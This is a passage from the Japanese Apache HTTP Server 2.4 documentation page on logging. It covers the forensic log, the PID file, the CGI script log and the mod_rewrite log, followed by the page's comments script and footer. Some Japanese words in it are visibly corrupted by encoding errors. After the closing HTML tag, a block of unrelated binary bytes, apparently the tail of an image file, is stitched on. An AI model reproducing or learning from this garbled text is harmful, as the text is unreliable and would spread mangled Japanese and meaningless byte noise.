         行われたすので、1 リク゚ストに察しお 2 行のログが出力されたす。
         forensic ロガヌはずおも厳密でカスタマむズできたせん。
         デバッグやセキュリティ甚のツヌルずしお有効かもしれたせん。</p>
    

    <h3><a name="pidfile" id="pidfile">PID ファむル</a></h3>
      

      <p>起動時に、Apache は芪 httpd プロセスのプロセス ID を
      <code>logs/httpd.pid</code> に保存したす。この
      ファむル名は <code class="directive"><a href="./mod/mpm_common.html#pidfile">PidFile</a></code> ディレクティブを䜿っお
      倉曎するこずができたす。プロセス ID は管理者が芪プロセスに
      シグナルを送るこずでデヌモンを再起動したり終了させたりするずきに
      䜿甚したす。Windows では、代わりに -k コマンドオプションを
      䜿っおください。詳しい情報は <a href="stopping.html">終了ず
      再起動</a> のペヌゞを芋おください。</p>
    

    <h3><a name="scriptlog" id="scriptlog">スクリプトログ</a></h3>
      

      <p>デバッグの補助のために、<code class="directive"><a href="./mod/mod_cgi.html#scriptlog">ScriptLog</a></code> ディレクティブは
      CGI スクリプトの入力ず出力を蚘録するようにできたす。
      これはテスト甚にのみ䜿甚しお、通垞のサヌバでは䜿甚しないでください。
      詳しい情報は <a href="mod/mod_cgi.html">mod_cgi の文曞</a> にありたす。</p>
    

    <h3><a name="rewritelog" id="rewritelog">リラむトログ</a></h3>
      

      <p><code class="directive"><a href="./mod/mod_rewrite.html#mod_rewrite">mod_rewrite</a></code> の匷力で
      耇雑な機胜を
      䜿っおいるずきは、ほがい぀もデバッグを簡単にするために
      <code class="directive"><a href="./mod/mod_rewrite.html#rewritelog">RewriteLog</a></code> の䜿甚が
      必芁でしょう。このログファむルにはリラむト゚ンゞンがリク゚ストを
      曞き換える方法の詳现な解析が出力されたす。詳しさの床合は <code class="directive"><a href="./mod/mod_rewrite.html#rewriteloglevel">RewriteLogLevel</a></code>
      で制埡できたす。</p>
    
  </div></div>
<div class="bottomlang">
<p><span>翻蚳枈み蚀語: </span><a href="./en/logs.html" hreflang="en" rel="alternate" title="English">&nbsp;en&nbsp;</a> |
<a href="./fr/logs.html" hreflang="fr" rel="alternate" title="Français">&nbsp;fr&nbsp;</a> |
<a href="./ja/logs.html" title="Japanese">&nbsp;ja&nbsp;</a> |
<a href="./ko/logs.html" hreflang="ko" rel="alternate" title="Korean">&nbsp;ko&nbsp;</a> |
<a href="./tr/logs.html" hreflang="tr" rel="alternate" title="TÌrkçe">&nbsp;tr&nbsp;</a></p>
</div><div class="top"><a href="#page-header"><img src="./images/up.gif" alt="top" /></a></div><div class="section"><h2><a id="comments_section" name="comments_section">コメント</a></h2><div class="warning"><strong>Notice:</strong><br />This is not a Q&amp;A section. Comments placed here should be pointed towards suggestions on improving the documentation or server, and may be removed again by our moderators if they are either implemented or considered invalid/off-topic. Questions on how to manage the Apache HTTP Server should be directed at either our IRC channel, #httpd, on Freenode, or sent to our <a href="http://httpd.apache.org/lists.html">mailing lists</a>.</div>
<script type="text/javascript"><!--//--><![CDATA[//><!--
var comments_shortname = 'httpd';
var comments_identifier = 'http://httpd.apache.org/docs/2.4/logs.html';
(function(w, d) {
    if (w.location.hostname.toLowerCase() == "httpd.apache.org") {
        d.write('<div id="comments_thread"><\/div>');
        var s = d.createElement('script');
        s.type = 'text/javascript';
        s.async = true;
        s.src = 'https://comments.apache.org/show_comments.lua?site=' + comments_shortname + '&page=' + comments_identifier;
        (d.getElementsByTagName('head')[0] || d.getElementsByTagName('body')[0]).appendChild(s);
    }
    else { 
        d.write('<div id="comments_thread">Comments are disabled for this page at the moment.<\/div>');
    }
})(window, document);
//--><!]]></script></div><div id="footer">
<p class="apache">Copyright 2015 The Apache Software Foundation.<br />この文曞は <a href="http://www.apache.org/licenses/LICENSE-2.0">Apache License, Version 2.0</a> のラむセンスで提䟛されおいたす。.</p>
<p class="menu"><a href="./mod/">モゞュヌル</a> | <a href="./mod/directives.html">ディレクティブ</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="./glossary.html">甚語</a> | <a href="./sitemap.html">サむトマップ</a></p></div><script type="text/javascript"><!--//--><![CDATA[//><!--
if (typeof(prettyPrint) !== 'undefined') {
    prettyPrint();
}
//--><!]]></script>
</body></html>
ß yôÊáœ~ŒorÀ5ÖJ™={þÁEÇêeŸu磝Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚